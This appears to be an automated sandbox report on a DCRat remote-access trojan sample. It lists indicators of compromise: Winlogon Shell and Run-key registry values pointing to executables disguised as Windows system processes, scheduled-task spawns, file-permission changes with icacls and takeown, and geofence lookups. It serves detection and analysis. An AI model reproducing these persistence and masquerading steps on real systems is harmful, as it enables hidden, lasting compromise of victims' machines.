Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Users\\Default\\SendTo\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\cmd.exe\", \"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\", \"C:\\odt\\RuntimeBroker.exe\", \"C:\\runtimeMonitor\\explorer.exe\", \"C:\\Recovery\\WindowsRE\\Registry.exe\", \"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\", \"C:\\odt\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\fontdrvhost.exe\", \"C:\\odt\\sihost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\DigitalLocker\\wininit.exe\", \"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\", \"C:\\odt\\cmd.exe\", \"C:\\odt\\cmd.exe\", \"C:\\Users\\Default User\\conhost.exe\", \"C:\\Windows\\Globalization\\Sorting\\smss.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\", \"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\", \"C:\\odt\\Registry.exe\", \"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\", \"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\""	ComdriverSvc.exe

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3568	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	640	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1608	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1716	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4984	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1676	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3520	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2928	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1172	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1928	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3676	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	480	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4628	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4364	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2308	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4920	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4800	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4724	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1448	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4744	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3928	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4136	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3532	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4216	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1948	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4604	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	856	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3412	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	880	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3664	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	972	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	488	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2216	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	260	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2540	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1060	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2408	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5096	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2268	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	696	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3912	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2344	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4324	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4748	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4268	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2400	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1788	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1688	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5972	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5988	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6012	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6060	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6104	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6112	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6128	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6120	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6096	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6076	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6044	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6028	5088	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	5088	schtasks.exe

DCRat payload 9 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\ProgramData\dc.exe	dcrat
C:\programdata\dc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
behavioral15/memory/4132-194-0x0000000000870000-0x000000000097C000-memory.dmp	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
C:\Recovery\WindowsRE\csrss.exe	dcrat
C:\odt\RuntimeBroker.exe	dcrat
C:\odt\RuntimeBroker.exe	dcrat

Executes dropped EXE 9 IoCs

Processes:

1.exeany.exedc.exepowershell.exeComdriverSvc.exeAnyDesk.exeAnyDesk.exeAnyDesk.exeComdriverSvc.exe

pid process

624 1.exe
260 any.exe
1584 dc.exe
2252 powershell.exe
4132 ComdriverSvc.exe
2412 AnyDesk.exe
5048 AnyDesk.exe
5592 AnyDesk.exe
5808 ComdriverSvc.exe
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid process

6004 icacls.exe
1732 icacls.exe
3412 icacls.exe
4004 icacls.exe
5184 takeown.exe
5144 icacls.exe
4136 icacls.exe
5960 icacls.exe

pid	process
624	1.exe
260	any.exe
1584	dc.exe
2252	powershell.exe
4132	ComdriverSvc.exe
2412	AnyDesk.exe
5048	AnyDesk.exe
5592	AnyDesk.exe
5808	ComdriverSvc.exe

pid	process
6004	icacls.exe
1732	icacls.exe
3412	icacls.exe
4004	icacls.exe
5184	takeown.exe
5144	icacls.exe
4136	icacls.exe
5960	icacls.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exeComdriverSvc.exeComdriverSvc.exetmp.exedc.exeany.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ComdriverSvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ComdriverSvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	tmp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	dc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	any.exe

Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1732 icacls.exe
3412 icacls.exe
4004 icacls.exe
5184 takeown.exe
5144 icacls.exe
4136 icacls.exe
5960 icacls.exe
6004 icacls.exe

pid	process
1732	icacls.exe
3412	icacls.exe
4004	icacls.exe
5184	takeown.exe
5144	icacls.exe
4136	icacls.exe
5960	icacls.exe
6004	icacls.exe

Adds Run key to start application 2 TTPs 58 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ComdriverSvc.exeComdriverSvc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\Default User\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Windows\\DigitalLocker\\wininit.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Recovery\\WindowsRE\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Program Files\\7-Zip\\Lang\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Common Files\\DESIGNER\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\odt\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\odt\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Windows\\Containers\\serviced\\StartMenuExperienceHost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\odt\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Program Files\\Microsoft Office 15\\ClientX64\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\odt\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ComdriverSvc = "\"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Program Files\\7-Zip\\Lang\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\odt\\sihost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\odt\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\Default User\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\timeout = "\"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Default\\SendTo\\sppsvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Recovery\\WindowsRE\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\odt\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Program Files\\Microsoft Office 15\\ClientX64\\WmiPrvSE.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\runtimeMonitor\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Windows\\Globalization\\Sorting\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss = "\"C:\\Windows\\Globalization\\Sorting\\smss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Windows\\DigitalLocker\\wininit.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Users\\Default\\SendTo\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\odt\\sihost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files (x86)\\MSBuild\\dllhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Recovery\\WindowsRE\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Default\\SendTo\\sppsvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\runtimeMonitor\\explorer.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\runtimeMonitor\\explorer.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ComdriverSvc = "\"C:\\Users\\Admin\\My Documents\\ComdriverSvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Program Files (x86)\\Internet Explorer\\de-DE\\SppExtComObj.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\Windows Media Player\\fr-FR\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\timeout = "\"C:\\Program Files (x86)\\Windows NT\\Accessories\\timeout.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\odt\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Recovery\\WindowsRE\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\odt\\Registry.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\runtimeMonitor\\cmd.exe\""	ComdriverSvc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 18 IoCs

Processes:

ComdriverSvc.exeComdriverSvc.exe

description	ioc	process
File created	C:\Program Files\Microsoft Office 15\ClientX64\WmiPrvSE.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\dllhost.exe	ComdriverSvc.exe
